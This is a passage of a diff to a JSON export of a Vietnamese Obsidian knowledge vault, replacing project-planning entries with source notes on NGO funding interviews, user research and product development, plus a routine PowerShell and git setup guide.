doanh thì có nhiều hình thức khác. Người nghèo hầu như không có theo nhóm được\n## Các chương trình hỗ trợ người lao động của chính phủ gặp vấn đề gì mà không phát triển được?\nHọ vô vì xoasd đói giảm nghèo, hết bệnh. Cho mượn là lồng ghép để thoát nghèo thôi\nBangladesh thế giới 3 không. Chưa thấy có tổ chức chuyên về tiết kiệm tín dụng vì nó rất khó. Gặp nghị định của chính phủ muốn kiểm soát dòng tiền\ndariu foudation\nChính phủ làm từ thiện thì được, chứ không nên thúc đẩy xã hội. Như hồi covid quận 8 bị bùng dịch chính phủ có làm được gì đâu. Bộ đội vô cũng ko làm đc gì. Tốt nhất là có cơ chế mở đường cho các nhóm xã hội vào hỗ trợ\nquận 8 hồi covid. Vấn đề xã hội phức tạp rất khác biệt. \n\n## Vì sao anh không lo lắng là mình đang bị để ý? Dù sao anh cũng là người có tiếng trong cộng đồng mà\nTiền giải ngân của tphcm chỉ giải ngân được 12% mà quy trình ko phê duyệt được. Nó là một bí ẩn\n## Anh có biết những người có tiền nhàn rỗi lớn và hay cho từ thiện nào không? Ví dụ như các cơ sở tôn giáo? Điều gì khiến mình có thể vay được từ họ?\nLIN theo sứ mệnh quản lý tổ chức, chứ ko phải là phát triển cộng đồng, chỉ có kết nối\nSứ mạng của họ là thương người chứ không phải là phát triển cộng đồng. \n## Điều gì khiến một người có tiền nhiều tới mức đầu tư cũng ko hết vẫn ko muốn cho tiền? Tại sao việc đáp ứng nhu cầu người khác lại không mạnh hơn việc tối đa hoá tiền? \nHọc viện mà Mark Zuckerberg học ở cấp 3 là nhân bản\n- truyền thống thì mình có, nhưng phải nuôi dưỡng. Nuôi dưỡng thông qua giáo dục thì mình ko có. Và phải\n\n- Mỹ: đề cao tư bản, nhưng có luật sòng phẳng. Định hình thể chế philanthropy thông qua luật\n- Châu Âu: thuế thu nhập rất cao\n# Mạng kết nối nhu cầu\n- Các nhóm xã hội như bọn anh lấy tiền từ đâu? Bà Tôn Nữ Thị Ninh\n# Nhu cầu của các tổ chức về phân loại dữ liệu tự động\n- Làm sao để nhóm thấy bài viết liên quan để duyệt? \n[[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động]], [[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Người dùng/Tổ chức nhỏ hoặc người cần kỷ luật tài chính/Nhu cầu phân loại tự động/Câu hỏi phỏng vấn|Câu hỏi phỏng vấn]]\n## Hành vi phân loại\n### Anh có thể phân loại mẫu được không?\nPhân loại theo số nhân viên hoặc tổng số tiền.\nPhân loại theo hoạt động \n\nNGo làm với con người. Doanh nghiệp thì mới cần data\nLIN khác vì dữ liệu đối tác rất lớn\n\nKhông có con người biết đủ các tố chất 2 bên: doanh nghiệp\ntầm nhìn của weshare rất lớn, nhưng ko toàn tâm toàn ý được để có tiền để xây dựng đội ngũ\n\n# Nhu cầu về quản lý dữ liệu\n- Các hoạt động của bọn anh có cái nào mở không. Em có thể đọc các tài liệu của bọn anh được không?\n- Tại sao LIN lại cần bảo mật dữ liệu? \n- Anh phân loại các tổ chức to nhỏ thế nào? \n- Số đối tác của LIN là rất lớn, nhưng các bên liên quan của các tổ chức cũng lớn mà\n\n- Anh còn quan tâm đến việc tích luỹ kiến thức để có thể tư vấn cho các tổ chức được tốt hơn không?\n## Ai cũng nói về sự hợp tác, nhưng tại sao không ai quan tâm đến việc lưu trữ dữ liệu?\nTại sao ai cũng lấy bản đồ các bên liên quan ra, nhưng việc lập một bản đồ thực sự không ai quan tâm?\n\n\n\n- Anh cảm thấy mình muốn chia sẻ điều gì nhất cho mọi người? \n- Anh có ý định mở các buổi chia sẻ không?\n- Giáo trình kinh tế nào anh thấy hữu ích không?\n- Hệ thống tri thức cá nhân của anh và chia sẻ cho mọi người\n\n- SNPO khác gì LIN\n- DRD, quỹ hoà bình và phát triển có gì phucwsc tạp như LIN ko?\n- vì sao kiểm toán \n- Các tổ chức đầu tàu có quan tâm đến minh bạch dữ liệu nội bộ ko?\n- trao đổi thoongtin kém có là lý do hệ sinh thái kém phát triển?", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-10-28T06:05:00.000Z", - "id": "NX" + "Ngày cập nhật": "2024-03-30T04:41:00.000Z", + "id": "Nl" }, { - "Tiêu đề": "Kế hoạch phát triển dự án", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/6 Kế hoạch/Kế hoạch phát triển dự án", + "Tiêu đề": "Bùi Quang Tinh Tú", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Bùi Quang Tinh Tú", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu:: các nhóm liên thông dữ liệu với nhau, Quả Cầu có thêm người quan tâm\n\n# Thành quả mong muốn\n%%\nThành quả cần có:: [[50 nhóm dự án sử dụng Obsidian để quản lý công việc]]\n\nThành quả hỗ trợ:: [[10 người đóng góp xây vault]]\n\nThành quả hỗ trợ:: [[20% người tham gia tìm hiểu về Quả Cầu]]\nThành quả hỗ trợ:: [[20% người tham gia liên thông dữ liệu với các vault khác]]\nThành quả hỗ trợ:: [[50% người đóng góp đáp ứng được các nhu cầu khác của họ]] \n\n\n- Cung cấp kiến thức công nghệ áp dụng được cho việc hoạt động như một bầy chim sáo\n- Nhấn mạnh vào sự khác biệt với những phần mềm khác và ý nghĩa của nó\n- Giúp những người tự nhận là mình ngu công nghệ thấy được mình có thể làm chủ công nghệ như thế nào\n- Là một đầu mối để khám phá và kết nối các dự án khác\n\n%%\n## Cần có\n```dataview\nList\nFrom outgoing([[]])\nWhere contains(this.thành-quả-cần-có,file.link)\n```\n## Hỗ trợ\n```dataview\nList\nFrom outgoing([[]])\nWhere contains(this.thành-quả-hỗ-trợ,file.link)\n```\n# Thành phẩm chính\n```dataview\nList \nFrom #file/thành-phẩm \nwhere file.inlinks.độ-cấp-thiết\nSort trạng-thái desc\n```\n\n# Công việc\n```dataview \ntask\nwhere file.inlinks.độ-cấp-thiết and !fullyCompleted\n```\n", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NY" + "Ngày tạo": "2023-06-30T05:54:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "Nm" }, { - "Tiêu đề": "Kế hoạch tổng", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/6 Kế hoạch/Kế hoạch tổng", + "Tiêu đề": "Doing project wiki", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Doing project wiki", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu:: các nhóm liên thông dữ liệu với nhau, Quả Cầu có thêm người quan tâm\n\n# Thành quả mong muốn\n%%\nThành quả cần có:: [[50 nhóm dự án sử dụng Obsidian để quản lý công việc]]\n\nThành quả hỗ trợ:: [[10 người đóng góp xây vault]]\n\nThành quả hỗ trợ:: [[20% người tham gia tìm hiểu về Quả Cầu]]\nThành quả hỗ trợ:: [[20% người tham gia liên thông dữ liệu với các vault khác]]\nThành quả hỗ trợ:: [[50% người đóng góp đáp ứng được các nhu cầu khác của họ]] \n\n\n- Cung cấp kiến thức công nghệ áp dụng được cho việc hoạt động như một bầy chim sáo\n- Nhấn mạnh vào sự khác biệt với những phần mềm khác và ý nghĩa của nó\n- Giúp những người tự nhận là mình ngu công nghệ thấy được mình có thể làm chủ công nghệ như thế nào\n- Là một đầu mối để khám phá và kết nối các dự án khác\n\n%%\n## Cần có\n```dataview\nList\nFrom outgoing([[]])\nWhere contains(this.thành-quả-cần-có,file.link)\n```\n## Hỗ trợ\n```dataview\nList\nFrom outgoing([[]])\nWhere contains(this.thành-quả-hỗ-trợ,file.link)\n```\n# Thành phẩm chính\n```dataview\nList \nFrom #file/thành-phẩm \nwhere file.inlinks.độ-cấp-thiết\nSort trạng-thái desc\n```\n\n# Công việc\n```dataview \ntask\nwhere file.inlinks.độ-cấp-thiết and !fullyCompleted\n```\n\n[[Gõ tắt]]\n", + "Toàn bộ nội dung": "![](http://wiki.doing-projects.org/images/thumb/6/6a/Bannertop3.png/380px-Bannertop3.png) \r\nWelcome to our wiki for doing projects - an online resource for managing projects, programs, and portfolios.\r\n\r\nThis wiki is a result of the Technical University of Denmark's ProjectLab effort to provide Project Management education and enable access for everyone.The articles are solely student's result*, as they are required to develop an article about an aspect from the course Advanced Project Program & Portfolio Management, at DTU.\r\n[apppm](http://wiki.doing-projects.org/index.php/Main_Page)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NZ" + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "Nn" }, { - "Tiêu đề": "Quý II – 2023", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/6 Kế hoạch/Quý II – 2023", + "Tiêu đề": "Hoàng Đức Minh", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hoàng Đức Minh", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Thành quả mong muốn khi hết quý\n- [ ] Kiểm định giả thuyết\n- [ ] 10 [[50 nhóm dự án sử dụng Obsidian để quản lý công việc|nhóm dự án sử dụng Obsidian để quản lý công việc]]\n- [ ] 1 [[1 người tham gia phỏng vấn mỗi tuần|người tham gia phỏng vấn mỗi tuần]]\n- [ ] 10 [[người làm vault để quản lý cuộc sống của họ]]\n\n## Tháng 4\n- [ ] 2 [[50 nhóm dự án sử dụng Obsidian để quản lý công việc|nhóm dự án sử dụng Obsidian để quản lý công việc]]\n- [ ] 4 [[1 người tham gia phỏng vấn mỗi tuần|người tham gia phỏng vấn]]\n- [ ] 2 [[người làm vault để quản lý cuộc sống của họ]]\n\t- [ ] [[Nghi]]\n\n## Tháng 5\n- [ ] Kiểm định giả thuyết\n\n# Thành phẩm\n```dataview \ntask\nwhere file.inlinks.độ-cấp-thiết and !fullyCompleted and file.name!=this.file.name\n```\n", + "Toàn bộ nội dung": "```dataview\nLIST file.cday\nFROM [[]]\nsort file.cday desc\n```\n![https://youtu.be/hz86dVIrjIA](https://youtu.be/hz86dVIrjIA \"https://youtu.be/hz86dVIrjIA\")\nTrên mạng có rất nhiều tài liệu: \n\nHậu quả của sự đa dạng là khó có tiêu chuẩn thống nhất \n[[Design thinking bắt đầu từ một đề bài. Nhưng đề bài được ra thế nào thì không nói]]\n[[Đặc điểm của quy trình phát triển sản phẩm truyền thống là bước nghiên cứu xem ý tưởng có đúng không luôn đến sau việc nghĩ ra được ý tưởng đó trước]]\n\nÝ tưởng thường từ 3 nguồn:\n- Nhu cầu cá nhân\n- Khách hàng phản hồi\n- Lãnh đạo yêu cầu\n\nQuy trình hiện nay tách ra rành mạch 2 cái: discovery và delivery/exploration và validation\nBản chất của quá trình khám phá là rủi ro\n\n[[Dựa vào KPI thì bộ phận kinh doanh sẽ có tiếng nói lớn nhất, còn đội phát triển sản phẩm rất ít có tiếng nói]]\nProduct phải là người \n\n[[1 nghiên cứu 20 ngày khác với 4 nghiên cứu 5 ngày]]. ROI khác nhau\n![](https://i.imgur.com/lE5pZFO.png)\n\n[[Nghiên cứu người dùng không nên là một bước, mà nên là một hoạt động diễn ra liên tục]]\n![](https://images.prismic.io/superpupertest/38b1e49d-80e7-43e5-b92c-4ba4971eb35b_Frame+2541.png?auto=compress,format) \n\nCác cách để nghiên cứu người dùng:\n- Hỏi\n- Quan sát\n- Trải nghiệm: \n- Đọc nghiên cứu\n- Phân tích dữ liệu\n- Thí nghiệm\n\n[[⚡Hiểu biết sâu/Ξ Nguồn/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Khảo sát tốt nhất là chỉ có một câu. Người chịu khó trả lời câu hỏi mở thường là người đã quý mến mình sẵn rồi]]\n\nNhững yếu tố có thể học được từ user reserach:\n- Hành vi → vẽ lại hành trình trải nghiệm\n- Tư duy/suy nghĩ: đó là bản năng, trực giác, hay có động cơ rõ ràng\n- Các yếu tố tác động: \nĐiều khiến khách hàng khác biệt về hành vi là do suy nghĩ. Nhưng điều khiến khách hàng khác biệt về suy nghĩ bao gồm các yếu tố tác động: nội sinh hoặc ngoại sinh\n\n3 loại tư duy, suy nghĩ:\n- Nhu cầu\n- Sở thích\n- Nỗi đau\n\n[[Một số ví dụ về mục tiêu nghiên cứu]]\nHoạt động phỏng vấn nên là để kiểm chứng suy đoán, chứ không phải là để tạo ra suy đoán. Sau khi có giả định thì việc đặt câu hỏi nó khác hẳn và có thể tách nhỏ.\nAI sẽ rất hữu ích trong việc tạo ra giả thiết để mình kiểm chứng\n\n[[Khi app có nhiều tính năng thì sẽ không biết một người dùng không vào là vì họ không tìm thấy tính năng họ cần hay là vì họ không biết app có tính năng họ cần]]\n\n4 loại giả định chính:\n- Feasibility: giả định về thực thi\n- Desirability: giả định về nhu cầu\n- Viability: giả định về kinh doanh\n- Usability: giả định về hành vi\n\n[[Việc chọn đối tượng phỏng vấn phụ thuộc vào việc giả định của mình liên quan đến hành vi nào]]\n\nSố lượng khảo sats: n=N/(1+N × e^2 ). Có thể max là 400, vì sau đó significant ko còn cao nữa\nSố lượng phỏng vấn: 4 đến 12 người, hoặc đến khi không còn thấy gì mới mẻ trong việc phỏng vấn nữa\n\n[[Phỏng vấn phù hợp để hiểu lý do cho một hành vi của một người]]\n\nGiây phút ta tạo ra 2 team và phân biệt nghĩa vụ thì chắc chắn sẽ mất thông tin. Nhưng nó sẽ rất phụ thuộc vào việc tìm ra nhân sự. Xu hướng là tách ra 2 hoạt động song song nhưng cùng một đội ngũ, hơn là tách ra thành 2 đội ngũ\n\n[[Insight sẽ thường ra ngay lúc phỏng vấn]]\n\nInsight không nên lung tung, mà nên theo danh mục các biến, theo mục tiêu nghiên cứu\n\nInsight không dùng đi dùng lại\n\nLàm game không được tính là làm sản phẩm. Nó nên được xem là làm nghệ thuật, nhưng vì nó có data, cũng phải dev, nên nó lai lai\n\n[[Làm product thiên về cảm giác, làm growth thiên về dữ liệu]]\n\n[[Vì tôi không biết làm nên không được giao, nhưng vì không được giao nên càng không biết làm]]\n\nCách vào ngành tốt nhất là từ BA, UX, data\n\nMục tiêu này chỉ phù hợp khi có sản phẩm rồi\nMức độ sẵn sàng khó định nghĩa\nLean dev: đi bán thử sp khi chưa có sp mà đang trong quá trình phát triển\nPtkh là đi tìm liệu sp có được tiếp nhận hay ko, và đối tượng có thể tiếp nhận là ai\n\nPhát triển khách hàng tinh gọn\n\nNhìn rộng ra thì đây cũng là một mục tiêu nghiên cứu phù hợp, nhưng sẽ tốt hơn khi mình đã có một sản phẩm demo\n\nPhỏng vấn người dùng ko phù hợp để tiên đoán hành vi tương lai ⇒ Pvnd ko nên dùng để đánh giá mức độ sẵn sàng\n\nNhà hàng nào? Nhà hàng, thời trang, mỹ phẩm? Ai là người có nhu cầu loyalty.\n- Cách đang làm loyalty trong quá khứ\n- So sánh giữa các nhà hàng về nhu cầu loyalty\n\nNhững cửa hàng có làm loyalty có thể ko cần đến mình. Còn người chưa làm thì có khi lại cần educate\n\n\n\nHọ đang tổ chức tài liệu ntn. Họ có gặp khó khăn gì trong việc tổ chức tài liệu. Nếu họ đang happy thì sp đó.\n\n[[Sản phẩm ra mắt 10 năm rồi cũng có thể không biết gì về người dùng]]\n\nCứ đi bán trực tiếp, nếu ko mua thì đi hỏi tại sao\n\n[[Phân loại người dùng khi phát triển sản phẩm khác với phân khúc khách hàng]]. Lý thuyết phổ biến về phân khúc khách hàng ví dụ như early adopter. CÒn với phát triển sản phẩm, cùng với app loyalty, cùng nhà hàng thì có bình dân, 5 sao, chuỗi. Mỗi bên có tập khách hàng của riêng họ. \nNên cơ bản phải đi từ giả thiết. Họ là ai. Họ cần gì. Từ đó mới chia nhỏ hơn thành các mục tiêu nghiên cứu\n\n[Product Maker Vietnam](https://zalo.me/g/chxnnm846)\n[Hoàng Đức Minh | Facebook](https://www.facebook.com/minh5e)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Na" + "Ngày cập nhật": "2024-08-02T05:54:00.000Z", + "id": "No" }, { - "Tiêu đề": "Số người tham gia mới (user acquisition)", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/7 Tài liệu/Các chỉ số/Số người tham gia mới (user acquisition)", + "Tiêu đề": "Seth Godin", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Seth Godin", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-08T08:04:00.000Z", - "id": "Nb" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-03-14T12:03:00.000Z", + "id": "Np" }, { - "Tiêu đề": "Số người tiếp tục tham gia theo thời gian (retention)", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/7 Tài liệu/Các chỉ số/Số người tiếp tục tham gia theo thời gian (retention)", + "Tiêu đề": "CORE Econ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Tài liệu/CORE Econ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "[CORE Econ](https://www.core-econ.org)\n[[Các giáo trình kinh tế hiện nay tập trung vào các mô hình toán học chứ không phải là hành vi con người]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-08T08:04:00.000Z", - "id": "Nc" + "Ngày cập nhật": "2023-12-27T06:57:00.000Z", + "id": "Nq" }, { - "Tiêu đề": "Quản lý dự án", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/7 Tài liệu/Các khái niệm/Quản lý dự án", + "Tiêu đề": "Media for Thinking the Unthinkable", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Tài liệu/Media for Thinking the Unthinkable", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "
    \r\n

    Media for Thinking the Unthinkable from Bret Victor on Vimeo.

    \r\n

    Presented at the MIT Media Lab on April 4, 2013.
    \r\n
    \r\nTalk outline: http://worrydream.com/MediaForThinkingTheUnthinkable/
    \r\nPersonal preface: http://worrydream.com/MediaForThinkingTheUnthinkable/note.html
    \r\n
    \r\nFor more information about the demos --
    \r\n
    \r\n1. Scientific paper. http://worrydream.com/ScientificCommunicationAsSequentialArt/
    \r\n2. Circuit. http://vimeo.com/36579366
    \r\n3. Digital filter. http://worrydream.com/ExplorableExplanations/
    \r\n4. Multitrack signal processing. (first time presented)
    \r\n5. Nile viewer. https://github.com/damelang/nile
    \r\n6. Drawing tool. http://vimeo.com/66085662
    \r\n
    \r\nBret Victor -- http://worrydream.com

    \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-28T10:52:00.000Z", - "id": "Nd" + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "Nr" }, { - "Tiêu đề": "Tự học", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/7 Tài liệu/Các khái niệm/Tự học", + "Tiêu đề": "Tạ Duy Phong", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Tạ Duy Phong", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-28T10:52:00.000Z", - "id": "Ne" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-03-16T07:40:00.000Z", + "id": "Ns" }, { - "Tiêu đề": "Các vấn đề về tiền", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Các vấn đề về tiền", + "Tiêu đề": "Tự ngẫm nghĩ, trải nghiệm", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Tự ngẫm nghĩ, trải nghiệm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Nhu cầu sử dụng\n- Tổ chức các buổi gặp mặt\n- Nghiên cứu\n", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(nguồn, [[]])\ngroup by split(file.folder, \"/\")[0] \n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T06:44:00.000Z", - "id": "Nf" + "Ngày cập nhật": "2024-07-30T08:44:00.000Z", + "id": "Nt" }, { - "Tiêu đề": "Dự án này cần những gì để phát triển", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Dự án này cần những gì để phát triển", + "Tiêu đề": "Veritasium", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Veritasium", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: \n", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Ng" + "Ngày tạo": "2023-06-05T08:42:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "Nu" }, { - "Tiêu đề": "Hướng dẫn tải kho", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Hướng dẫn tải kho", + "Tiêu đề": "Wikipedia", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Wikipedia", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> [!info ] [[Tại sao lại cần tải kho về hơn là đọc trên web|Tại sao lại cần tải kho về hơn là đọc trên web?]]\n\n## Cài đặt tự động\nBộ cài này dành cho Windows 10 trở lên:\n\n[Tải bộ cài :octicons-download-16:](https://Obsidian.Quảcầu.cc/assets/Obsidian, quản lý dự án và công cụ nghĩ.exe){ .md-button .md-button--primary }\n\nHình ảnh bộ cài:\n![](https://i.imgur.com/e3iB6N3l.png)\n\nHình ảnh sau khi cài xong:\n![](https://i.imgur.com/c6PDsL1.png)\n\nĐể đảm bảo an toàn cho máy bạn, Obsidian sẽ hỏi là bạn có muốn tin kho dữ liệu này không không. Hãy bấm *Trust author and enable plugins*. Obsidian sẽ bật Settings lên để bạn duyệt các plugin. Bạn có thể bấm vào *Check for updates* để cập nhật chúng, hoặc tắt đi cũng được:\n![](https://i.imgur.com/MhgGMBc.png) \n\nVậy là xong. \n\nXem thêm:: [[Các trục trặc có thể gặp khi cài]] \n\n## Cài đặt thủ công\n### B1. Mở PowerShell với quyền admin\nBấm Win+X và chọn `Windows PowerShell (Terminal)`\n![](https://st.quantrimang.com/photos/image/2018/07/09/cach-mo-powershell-nang-cao-trong-windows-10-5.jpg) \n\n### B2. Nhập lần lượt các lệnh sau\n```PowerShell\nNew-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\FileSystem\" -Name \"LongPathsEnabled\" -Value 1 -PropertyType DWORD -Force\nSet-Location \"D:\\\" \ngit config --global core.quotePath false\ngit config --global core.longpaths true\ngit config --global core.autocrlf true\ngit config --global core.safecrlf false\ngit clone https://github.com/QuaCau-TheSphere/quan-ly-du-an-va-cong-cu-nghi\nRename-Item \"quan-ly-du-an-va-cong-cu-nghi/\" \"Obsidian, quản lý dự án và công cụ nghĩ\"\ngit config --global --add safe.directory *\n```\n\nNếu bạn chưa hiểu Git là gì nhưng cũng muốn thử sức thì có thể bắt đầu tìm hiểu ở bài [[4 Du hành thời gian với Git]]", + "Toàn bộ nội dung": "Nguồn::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-24T14:01:00.000Z", - "id": "Nh" + "Ngày cập nhật": "2023-12-14T10:54:00.000Z", + "id": "Nv" }, { - "Tiêu đề": "Khác biệt giữa cộng đồng Obsidian tiếng Việt ở Facebook và Discord", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Khác biệt giữa cộng đồng Obsidian tiếng Việt ở Facebook và Discord", + "Tiêu đề": "Y Combinator", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Y Combinator", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Fb có thể thân thiện hơn cho người chưa biết hoặc chỉ cần trao đổi về plugin là được. Còn Discord chắc có nhiều lập trình viên và dân nghiên cứu học thuật hơn\r\nđồng ý. các bài đăng trên Facebook quá bị chi phối bởi các thuật toán sắp xếp tin, các tính năng mới mà facebook bổ sung (hoặc bắt chước) như các nền tảng khác không hiệu quả, và do vậy mất quá nhiều thời gian để đọc lướt qua dòng tin trên mỗi nhóm để tìm thứ mình cần.\r\n\r\nphân luồng như Discord thuận tiện hơn, nếu post có giá trị, mod/admin có thể ghim lại phía trên để người chưa biết tiện theo dõi.\r\n\r\ntốt hơn nữa thì có sắp xếp chỉ mục liên kết tới các cuộc thảo luận có giá trị, như Obisidianroundup đã làm.\r\n", + "Toàn bộ nội dung": "[Chia sẻ quyển sách về khởi nghiệp do mình dịch - How to start a startup | Y Combinator](https://spiderum.com/bai-dang/Chia-se-quyen-sach-ve-khoi-nghiep-do-minh-dich-How-to-start-a-startup-or-Y-Combinator-Taef0UB0oG2p \"Chia sẻ quyển sách về khởi nghiệp do mình dịch - How to start a startup | Y Combinator\")\n![](https://images.spiderum.com/sp-images/def31370f79611ec9c81cbff57bd3aca.jpeg) ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-18T01:25:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Ni" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-25T05:52:00.000Z", + "id": "Nw" }, { - "Tiêu đề": "Mọi người hay thảo luận ở đâu?", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Mọi người hay thảo luận ở đâu?", + "Tiêu đề": 